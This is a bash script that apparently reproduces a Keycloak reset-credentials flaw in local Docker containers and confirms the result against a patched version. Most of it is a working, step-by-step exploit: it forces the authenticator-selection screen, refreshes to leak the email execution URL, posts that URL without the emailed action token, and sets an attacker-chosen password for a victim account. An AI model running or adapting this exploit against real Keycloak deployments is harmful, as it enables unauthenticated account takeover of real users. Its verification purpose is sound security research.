#!/bin/bash
# ============================================================================
# CVE-2026-18963 - Keycloak reset-credentials unauthenticated account takeover
#
# Root cause (upstream fix commit cf6e4c8be318f1e38c4001730fe6db6930dad050,
# PR #51844):
#   1) ResetCredentialEmail.action() blindly calls context.success() without
#      verifying the ACTION_TOKEN_USER_ID auth note (i.e. that the request
#      actually arrived via the emailed action token).
#   2) DefaultAuthenticationFlow stores AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
#      as a plain boolean ("true"), so a simple GET refresh of the
#      reset-credentials execution URL re-renders the "try another way"
#      authenticator-selection screen for the *current* (email) execution,
#      leaking its execution UUID in the form action URL.
#
# Attack (fully unauthenticated, no access to the victim's mailbox):
#   1. Open the realm login page, follow "Forgot password?"
#   2. POST tryAnotherWay=on  -> selector screen (sets the boolean note)
#   3. POST username=<victim> -> ResetCredentialChooseUser succeeds,
#      ResetCredentialEmail.authenticate() generates the action token and
#      emails the reset link TO THE VICTIM ONLY (captured by our SMTP sink),
#      then forks the flow ("You should receive an email shortly").
#   4. GET-refresh the original reset-credentials URL -> vulnerable server
#      re-renders the selector screen whose form action now points at the
#      *email* execution (execution=<uuid>).
#   5. POST that URL with no action token -> ResetCredentialEmail.action()
#      succeeds blindly -> flow advances to the UPDATE_PASSWORD required
#      action for the victim.
#   6. Submit a new password -> 302 to the account console with an auth code;
#      the victim's password is now attacker-chosen (verified via the token
#      endpoint: new password succeeds, old password fails).
#
# Tested versions (same code base as Red Hat build of Keycloak):
#   VULNERABLE: quay.io/keycloak/keycloak:26.7.1
#   FIXED:      quay.io/keycloak/keycloak:26.7.2 (contains cf6e4c8 backport)
#
# Exit 0 = vulnerability confirmed (2/2 vulnerable attempts exploited AND
#          2/2 fixed attempts blocked). Exit 1 = not reproduced.
# ============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR" "$LOGS/smtp" "$LOGS/http"
cd "$ROOT"

# Everything also lands in logs/reproduction_steps.log
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

FIX_COMMIT="cf6e4c8be318f1e38c4001730fe6db6930dad050"
VULN_IMAGE="quay.io/keycloak/keycloak:26.7.1"
FIXED_IMAGE="quay.io/keycloak/keycloak:26.7.2"
VULN_TAG_COMMIT_DEFAULT="73f08b397f193712b26d317210dce99898129709"  # refs/tags/26.7.1
SMTP_IMAGE="python:3.13-alpine"
NET="kc-cve-18963-net"
BASE="http://localhost:8080"
REALM="cvetest"
VICTIM="victim"
VICTIM_EMAIL="victim@cvetest.local"
OLD_PASS="OldPass123!"
KC_CONTAINER="kc-cve-18963-target"
SMTP_CONTAINER="kc-cve-18963-smtp"
SMTP_LOG="$LOGS/smtp/smtp.log"

VULN_RESULTS=""
FIXED_RESULTS=""
OVERALL="failed"
PROOF_ARTIFACTS=()

log() { echo "[repro $(date -u +%H:%M:%S)] $*"; }

write_manifest() {
  local notes="$1"
  local vuln_digest fixed_digest target_digest commit_sha vuln_ver fixed_ver
  vuln_digest=$(docker inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE" 2>/dev/null | sed 's/.*@//' || true)
  fixed_digest=$(docker inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE" 2>/dev/null | sed 's/.*@//' || true)
  commit_sha="${VULN_TAG_COMMIT:-$VULN_TAG_COMMIT_DEFAULT}"
  target_digest=$(printf 'git:https://github.com/keycloak/keycloak@%s' "$commit_sha" | sha256sum | awk '{print $1}')
  vuln_ver=$(cat "$LOGS/server-version-vuln.txt" 2>/dev/null || echo "unknown")
  fixed_ver=$(cat "$LOGS/server-version-fixed.txt" 2>/dev/null || echo "unknown")

  local artifacts_json="[]"
  if [ "${#PROOF_ARTIFACTS[@]}" -gt 0 ]; then
    artifacts_json=$(printf '%s\n' "${PROOF_ARTIFACTS[@]}" | jq -R . | jq -s .)
  fi

  local reached=false started=false healthy=false
  [ -f "$LOGS/.service_started" ] && started=true
  [ -f "$LOGS/.health_ok" ] && healthy=true
  [ -f "$LOGS/.target_reached" ] && reached=true

  jq -n \
    --arg entrypoint_kind "endpoint" \
    --arg entrypoint_detail "GET/POST /realms/$REALM/login-actions/reset-credentials (Keycloak reset-credentials flow, ResetCredentialEmail execution)" \
    --argjson service_started "$started" \
    --argjson healthcheck_passed "$healthy" \
    --argjson target_path_reached "$reached" \
    --arg vuln_version "$vuln_ver" \
    --arg fixed_version "$fixed_ver" \
    --arg commit_sha "$commit_sha" \
    --arg target_digest "$target_digest" \
    --arg runtime_digest "${vuln_digest:-unknown}" \
    --arg fixed_digest "${fixed_digest:-unknown}" \
    --arg vuln_results "$VULN_RESULTS" \
    --arg fixed_results "$FIXED_RESULTS" \
    --arg overall "$OVERALL" \
    --arg notes "$notes" \
    --argjson proof_artifacts "$artifacts_json" \
    '{
      entrypoint_kind: $entrypoint_kind,
      entrypoint_detail: $entrypoint_detail,
      service_started: $service_started,
      healthcheck_passed: $healthcheck_passed,
      target_path_reached: $target_path_reached,
      runtime_stack: ["docker(rootless)", "keycloak(start-dev,H2)", "smtp-sink(python)"],
      target_identity: {
        repository_url: "https://github.com/keycloak/keycloak",
        commit_sha: $commit_sha,
        fix_commit: "cf6e4c8be318f1e38c4001730fe6db6930dad050",
        target_digest: $target_digest,
        runtime_digest: $runtime_digest,
        fixed_image_digest: $fixed_digest,
        vulnerable_server_version: $vuln_version,
        fixed_server_version: $fixed_version,
        platform: "linux",
        architecture: "x86_64"
      },
      attempt_results: { vulnerable: $vuln_results, fixed: $fixed_results, overall: $overall },
      proof_artifacts: $proof_artifacts,
      notes: $notes
    }' > "$REPRO_DIR/runtime_manifest.json.tmp" && mv "$REPRO_DIR/runtime_manifest.json.tmp" "$REPRO_DIR/runtime_manifest.json"
  log "runtime_manifest.json written (overall=$OVERALL)"
}

cleanup() {
  local rc=$?
  write_manifest "CVE-2026-18963 repro exit code $rc"
  exit "$rc"
}
trap cleanup EXIT

# ---------------------------------------------------------------------------
# 0. Sanity: required tooling
# ---------------------------------------------------------------------------
for t in docker curl jq python3 sha256sum; do
  command -v "$t" >/dev/null 2>&1 || { log "FATAL: missing tool: $t"; exit 1; }
done
[ -f "$REPRO_DIR/smtp_sink.py" ] || { log "FATAL: missing helper $REPRO_DIR/smtp_sink.py"; exit 1; }

# Honor a prepared project cache when present (this repro is container-image
# based and needs no source checkout; we only record awareness of the cache).
if [ -r "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  [ -n "${CACHE_DIR:-}" ] && log "project cache present at $CACHE_DIR (not needed: image-based repro)"
fi

# ---------------------------------------------------------------------------
# 1. Source-level patch verification at the tested tags (best-effort)
# ---------------------------------------------------------------------------
log "Verifying patch presence/absence in ResetCredentialEmail.java at tested tags (fix commit $FIX_COMMIT)"
FIX_HUNK='String actionTokenUserId = context.getAuthenticationSession().getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);'
check_tag() { # $1=tag $2=expect(vulnerable|fixed)
  local url="https://raw.githubusercontent.com/keycloak/keycloak/$1/services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java"
  local body patched
  body=$(curl -s --max-time 30 "$url" || true)
  if [ -z "$body" ]; then log "WARN: could not fetch $url (offline?) - skipping source check for $1"; return 0; fi
  patched=$(printf '%s' "$body" | grep -cF "$FIX_HUNK" || true)
  if [ "$2" = "vulnerable" ] && [ "$patched" -eq 0 ]; then log "OK: tag $1 lacks the fix (vulnerable source confirmed)"; return 0; fi
  if [ "$2" = "fixed" ] && [ "$patched" -ge 1 ]; then log "OK: tag $1 contains the fix"; return 0; fi
  log "FATAL: tag $1 patch-state mismatch (expected $2, ACTION_TOKEN_USER_ID binding count=$patched)"; return 1
}
check_tag "26.7.1" "vulnerable"
check_tag "26.7.2" "fixed"

# Resolve the exact tested source commit (best-effort; fallback to known tag commit)
VULN_TAG_COMMIT=$(git ls-remote --tags https://github.com/keycloak/keycloak.git 'refs/tags/26.7.1' 2>/dev/null | awk '{print $1}' | head -1 || true)
VULN_TAG_COMMIT="${VULN_TAG_COMMIT:-$VULN_TAG_COMMIT_DEFAULT}"
log "vulnerable source commit: $VULN_TAG_COMMIT (tag 26.7.1); fix commit: $FIX_COMMIT"

# ---------------------------------------------------------------------------
# 2. Pull images, start shared infrastructure
# ---------------------------------------------------------------------------
log "Pulling container images (cached after first run)"
docker pull "$VULN_IMAGE"  >"$LOGS/docker-pull-vuln.log" 2>&1
docker pull "$FIXED_IMAGE" >"$LOGS/docker-pull-fixed.log" 2>&1
docker pull "$SMTP_IMAGE"  >"$LOGS/docker-pull-smtp.log" 2>&1

docker rm -f "$KC_CONTAINER" "$SMTP_CONTAINER" >/dev/null 2>&1 || true
docker network rm "$NET" >/dev/null 2>&1 || true
docker network create "$NET" >>"$LOGS/docker-net.log" 2>&1

: > "$SMTP_LOG"
docker run -d --name "$SMTP_CONTAINER" --network "$NET" --network-alias smtp \
  -v "$REPRO_DIR/smtp_sink.py:/smtp_sink.py:ro" \
  -v "$LOGS/smtp:/capture" \
  "$SMTP_IMAGE" python3 /smtp_sink.py 1025 /capture/smtp.log >>"$LOGS/smtp-container.log" 2>&1
log "SMTP sink container started (captures the victim's reset email)"
: > "$LOGS/.service_started"

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
wait_ready() {
  local i code
  for i in $(seq 1 72); do
    code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "$BASE/realms/master" 2>/dev/null || echo 000)
    if [ "$code" = "200" ]; then log "Keycloak ready after ~$((i*5))s"; return 0; fi
    sleep 5
  done
  log "FATAL: Keycloak did not become ready"; return 1
}

admin_token() {
  curl -s --max-time 15 "$BASE/realms/master/protocol/openid-connect/token" \
    -d grant_type=password -d client_id=admin-cli -d username=admin -d password=admin | jq -r .access_token
}

start_keycloak() { # $1=image $2=role
  docker rm -f "$KC_CONTAINER" >/dev/null 2>&1 || true
  docker run -d --name "$KC_CONTAINER" --network "$NET" -p 8080:8080 \
    -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
    "$1" start-dev --hostname "$BASE" >"$LOGS/keycloak-$2.container" 2>&1
  wait_ready
  : > "$LOGS/.health_ok"
  local tok ver
  tok=$(admin_token)
  ver=$(curl -s --max-time 15 -H "Authorization: Bearer $tok" "$BASE/admin/serverinfo" | jq -r '.systemInfo.version // "unknown"')
  echo "$ver" > "$LOGS/server-version-$2.txt"
  log "Keycloak $2 started: image=$1 server-version=$ver"
}

setup_realm() {
  local tok rc
  tok=$(admin_token)
  [ -n "$tok" ] && [ "$tok" != "null" ] || { log "FATAL: no admin token"; return 1; }
  rc=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 -X POST "$BASE/admin/realms" \
    -H "Authorization: Bearer $tok" -H "Content-Type: application/json" -d '{
      "realm":"'"$REALM"'","enabled":true,"resetPasswordAllowed":true,"loginWithEmailAllowed":true,
      "registrationAllowed":false,
      "smtpServer":{"host":"smtp","port":"1025","from":"no-reply@cvetest.local"}}')
  [ "$rc" = "201" ] || { log "FATAL: realm create -> $rc"; return 1; }
  rc=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 -X POST "$BASE/admin/realms/$REALM/users" \
    -H "Authorization: Bearer $tok" -H "Content-Type: application/json" -d '{
      "username":"'"$VICTIM"'","enabled":true,"email":"'"$VICTIM_EMAIL"'","emailVerified":true,
      "firstName":"Vic","lastName":"Tim",
      "credentials":[{"type":"password","value":"'"$OLD_PASS"'","temporary":false}]}')
  [ "$rc" = "201" ] || { log "FATAL: user create -> $rc"; return 1; }
  rc=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 -X POST "$BASE/admin/realms/$REALM/clients" \
    -H "Authorization: Bearer $tok" -H "Content-Type: application/json" -d '{
      "clientId":"atk-cli","enabled":true,"publicClient":true,"standardFlowEnabled":true,
      "directAccessGrantsEnabled":true,"redirectUris":["'"$BASE"'/*"]}')
  [ "$rc" = "201" ] || { log "FATAL: client create -> $rc"; return 1; }
  log "Realm '$REALM' provisioned (resetPasswordAllowed=true, SMTP->sink), victim user + atk-cli client created"
}

reset_victim_password() {
  local tok uid rc
  tok=$(admin_token)
  uid=$(curl -s --max-time 15 -H "Authorization: Bearer $tok" "$BASE/admin/realms/$REALM/users?username=$VICTIM" | jq -r '.[0].id')
  rc=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 -X PUT "$BASE/admin/realms/$REALM/users/$uid/reset-password" \
    -H "Authorization: Bearer $tok" -H "Content-Type: application/json" \
    -d '{"type":"password","value":"'"$OLD_PASS"'","temporary":false}')
  log "victim password reset to original -> HTTP $rc"
  [ "$rc" = "204" ]
}

extract_form_action() { # $1=html file $2=form id -> absolute form action URL
  grep -oE "<form[^>]*id=\"$2\"[^>]*>" "$1" | grep -oE 'action="[^"]*"' | head -1 \
    | sed 's/^action="//; s/"$//; s/&amp;/\&/g'
}

password_token_status() { # $1=password -> HTTP status of direct grant for victim
  curl -s -o /dev/null -w '%{http_code}' --max-time 15 -X POST \
    "$BASE/realms/$REALM/protocol/openid-connect/token" \
    -d grant_type=password -d client_id=atk-cli -d username="$VICTIM" -d "password=$1"
}

# ---------------------------------------------------------------------------
# One exploit attempt body. $1=role(vuln|fixed) $2=attempt number $3=workdir
# Returns 0 when the observed outcome matches the role expectation.
# ---------------------------------------------------------------------------
run_attempt_body() {
  local role="$1" num="$2" dir="$3"
  local NEW_PASS="N3wP@ss-$role-$num"
  local jar="$dir/cookies.jar"
  local emails_before emails_after
  emails_before=$(grep -c 'action-token' "$SMTP_LOG" 2>/dev/null || true)

  echo "### CVE-2026-18963 attempt role=$role num=$num"

  # Step 1: realm login page -> "forgot password" link
  curl -s --max-time 20 -c "$jar" -b "$jar" \
    "$BASE/realms/$REALM/protocol/openid-connect/auth?client_id=account&redirect_uri=$BASE/realms/$REALM/account/&response_type=code&scope=openid" \
    -o "$dir/step1-login.html"
  local fp fp_url
  fp=$(grep -oE 'href="[^"]*login-actions/reset-credentials[^"]*"' "$dir/step1-login.html" | head -1 | sed 's/^href="//; s/"$//; s/&amp;/\&/g' || true)
  case "$fp" in http*) fp_url="$fp";; *) fp_url="$BASE$fp";; esac
  echo "step1 forgot-password URL: $fp_url"
  [ -n "$fp" ] || { echo "FAIL: no forgot-password link"; return 2; }

  # Step 2: reset credentials page (choose-user form)
  curl -s --max-time 20 -c "$jar" -b "$jar" "$fp_url" -o "$dir/step2-reset.html"
  local u1; u1=$(extract_form_action "$dir/step2-reset.html" kc-reset-password-form)
  echo "step2 choose-user form action: $u1"
  [ -n "$u1" ] || { echo "FAIL: no reset form"; return 2; }

  # Step 3: force the authenticator-selection screen (sets the boolean note)
  curl -s --max-time 20 -c "$jar" -b "$jar" -X POST "$u1" -d "tryAnotherWay=on" \
    -D "$dir/step3.hdr" -o "$dir/step3-selector.html"
  local sel1; sel1=$(grep -c kc-select-credential-form "$dir/step3-selector.html" || true)
  echo "step3 tryAnotherWay -> selector screen markers: $sel1"
  [ "$sel1" -ge 1 ] || { echo "FAIL: selector screen not rendered"; return 2; }
  local u2; u2=$(extract_form_action "$dir/step3-selector.html" kc-select-credential-form)
  echo "step3 selector form action: $u2"

  # Step 4: submit victim username -> reset email generated and sent TO THE VICTIM
  curl -s --max-time 20 -c "$jar" -b "$jar" -X POST "$u2" -d "username=$VICTIM" \
    -D "$dir/step4.hdr" -o "$dir/step4-emailsent.html"
  local sent; sent=$(grep -c 'email shortly' "$dir/step4-emailsent.html" || true)
  echo "step4 username=$VICTIM -> email-sent page markers: $sent"
  [ "$sent" -ge 1 ] || { echo "FAIL: email-sent confirmation page not shown"; return 2; }
  emails_after=$(grep -c 'action-token' "$SMTP_LOG" 2>/dev/null || true)
  echo "step4 smtp action-token links captured: before=$emails_before after=$emails_after"
  [ "$emails_after" -gt "$emails_before" ] || { echo "FAIL: no reset email captured by SMTP sink"; return 2; }
  echo "step4 NOTE: the action-token link went to $VICTIM_EMAIL only; the attacker never sees it"

  # Step 5: GET-refresh the ORIGINAL reset-credentials URL (the pivot)
  curl -s --max-time 20 -c "$jar" -b "$jar" "$fp_url" -D "$dir/step5.hdr" -o "$dir/step5-refresh.html"
  local sel2 info2
  sel2=$(grep -c kc-select-credential-form "$dir/step5-refresh.html" || true)
  info2=$(grep -c 'email shortly' "$dir/step5-refresh.html" || true)
  echo "step5 GET refresh -> selector markers=$sel2 email-sent markers=$info2"

  if [ "$role" = "fixed" ]; then
    if [ "$sel2" -eq 0 ] && [ "$info2" -ge 1 ]; then
      echo "step5 FIXED-BEHAVIOR: selector screen NOT re-rendered; flow still waits for the email"
      local olds news
      olds=$(password_token_status "$OLD_PASS")
      news=$(password_token_status "$NEW_PASS")
      echo "fixed verify: old-password token HTTP $olds (want 200), new-password token HTTP $news (want !=200)"
      if [ "$olds" = "200" ] && [ "$news" != "200" ]; then
        echo "RESULT: BLOCKED (fix confirmed)"
        return 0
      fi
      echo "RESULT: FAIL - unexpected password state"; return 1
    fi
    echo "RESULT: FAIL - fixed server re-rendered the selector screen (vulnerable?)"
    return 1
  fi

  # ---- vulnerable role continues the pivot ----
  [ "$sel2" -ge 1 ] || { echo "RESULT: FAIL - selector screen not re-rendered on refresh"; return 1; }
  local u3; u3=$(extract_form_action "$dir/step5-refresh.html" kc-select-credential-form)
  echo "step5 VULN-BEHAVIOR: selector re-rendered; form action now targets: $u3"
  [ -n "$u3" ] || { echo "FAIL: no selector form action after refresh"; return 1; }

  # Step 6: POST the email-execution action WITHOUT any action token -> blind success
  curl -s --max-time 20 -c "$jar" -b "$jar" -X POST "$u3" -d "" -D "$dir/step6.hdr" -o "$dir/step6.html"
  local loc; loc=$(grep -i '^Location' "$dir/step6.hdr" | tr -d '\r' | awk '{print $2}' || true)
  echo "step6 POST email execution (no action token) -> $(head -1 "$dir/step6.hdr" | tr -d '\r') Location: $loc"
  case "$loc" in
    *required-action*UPDATE_PASSWORD*) : ;;
    *) echo "RESULT: FAIL - no UPDATE_PASSWORD redirect"; return 1;;
  esac

  # Step 6b: follow redirect -> password update form for the VICTIM account
  curl -s --max-time 20 -c "$jar" -b "$jar" "$loc" -o "$dir/step6b-passwordform.html"
  local pf; pf=$(grep -c 'password-new' "$dir/step6b-passwordform.html" || true)
  echo "step6b password-update form fields: $pf"
  [ "$pf" -ge 1 ] || { echo "FAIL: no password form"; return 1; }
  local u4; u4=$(extract_form_action "$dir/step6b-passwordform.html" kc-passwd-update-form)
  echo "step6b password form action: $u4"

  # Step 7: set the attacker-chosen password
  curl -s --max-time 20 -c "$jar" -b "$jar" -X POST "$u4" \
    --data-urlencode "password-new=$NEW_PASS" --data-urlencode "password-confirm=$NEW_PASS" \
    -D "$dir/step7.hdr" -o "$dir/step7.html"
  local loc2; loc2=$(grep -i '^Location' "$dir/step7.hdr" | tr -d '\r' | awk '{print $2}' || true)
  echo "step7 new password -> $(head -1 "$dir/step7.hdr" | tr -d '\r') Location: $loc2"
  case "$loc2" in
    *code=*) echo "step7: attacker session established as '$VICTIM' (auth code issued)";;
    *) echo "WARN: expected auth-code redirect, got: $loc2";;
  esac

  # Step 8: prove account takeover through the token endpoint
  local news olds
  news=$(password_token_status "$NEW_PASS")
  olds=$(password_token_status "$OLD_PASS")
  echo "step8 takeover verify: NEW password token HTTP $news (want 200), OLD password token HTTP $olds (want !=200)"
  if [ "$news" = "200" ] && [ "$olds" != "200" ]; then
    echo "RESULT: EXPLOITED - victim account password replaced without the email link (unauthenticated ATO)"
    return 0
  fi
  echo "RESULT: FAIL - password not changed"
  return 1
}

run_attempt() {
  local role="$1" num="$2" rc
  local dir="$LOGS/http/$role-$num"
  mkdir -p "$dir"
  local alog="$LOGS/$role-attempt-$num.log"
  : > "$alog"
  run_attempt_body "$role" "$num" "$dir" >>"$alog" 2>&1
  rc=$?
  cat "$alog"
  return "$rc"
}

# ---------------------------------------------------------------------------
# 3. Vulnerable target: two clean exploit attempts
# ---------------------------------------------------------------------------
log "=== PHASE A: vulnerable target $VULN_IMAGE ==="
start_keycloak "$VULN_IMAGE" "vuln"
setup_realm

vuln_ok=0
for n in 1 2; do
  if run_attempt vuln "$n"; then
    log "vulnerable attempt $n: EXPLOITED"
    vuln_ok=$((vuln_ok+1))
    VULN_RESULTS="$VULN_RESULTS attempt$n=EXPLOITED;"
  else
    log "vulnerable attempt $n: FAILED"
    VULN_RESULTS="$VULN_RESULTS attempt$n=FAILED;"
  fi
  reset_victim_password || true
done
docker logs "$KC_CONTAINER" >"$LOGS/keycloak-vuln.log" 2>&1 || true
[ "$vuln_ok" -ge 1 ] && : > "$LOGS/.target_reached"

# ---------------------------------------------------------------------------
# 4. Fixed target: two clean attempts (negative control)
# ---------------------------------------------------------------------------
log "=== PHASE B: fixed target $FIXED_IMAGE ==="
start_keycloak "$FIXED_IMAGE" "fixed"
setup_realm

fixed_blocked=0
for n in 1 2; do
  if run_attempt fixed "$n"; then
    log "fixed attempt $n: BLOCKED (fix confirmed)"
    fixed_blocked=$((fixed_blocked+1))
    FIXED_RESULTS="$FIXED_RESULTS attempt$n=BLOCKED;"
  else
    log "fixed attempt $n: NOT BLOCKED"
    FIXED_RESULTS="$FIXED_RESULTS attempt$n=NOT_BLOCKED;"
  fi
  reset_victim_password || true
done
docker logs "$KC_CONTAINER" >"$LOGS/keycloak-fixed.log" 2>&1 || true

# ---------------------------------------------------------------------------
# 5. Verdict
# ---------------------------------------------------------------------------
cp "$SMTP_LOG" "$LOGS/smtp-capture-final.log" 2>/dev/null || true

PROOF_ARTIFACTS=(
  "logs/reproduction_steps.log"
  "logs/keycloak-vuln.log"
  "logs/keycloak-fixed.log"
  "logs/smtp-capture-final.log"
  "logs/vuln-attempt-1.log"
  "logs/vuln-attempt-2.log"
  "logs/fixed-attempt-1.log"
  "logs/fixed-attempt-2.log"
  "logs/http/vuln-1/step5-refresh.html"
  "logs/http/vuln-1/step6.hdr"
  "logs/http/vuln-1/step7.hdr"
  "logs/http/fixed-1/step5-refresh.html"
)

docker rm -f "$KC_CONTAINER" >/dev/null 2>&1 || true
docker rm -f "$SMTP_CONTAINER" >/dev/null 2>&1 || true

log "=== SUMMARY: vulnerable exploited $vuln_ok/2, fixed blocked $fixed_blocked/2 ==="
if [ "$vuln_ok" -eq 2 ] && [ "$fixed_blocked" -eq 2 ]; then
  OVERALL="confirmed"
  log "CVE-2026-18963 CONFIRMED: unauthenticated account takeover via reset-credentials flow pivot"
  exit 0
fi
OVERALL="failed"
log "CVE-2026-18963 NOT reproduced to confirmation standard"
exit 1
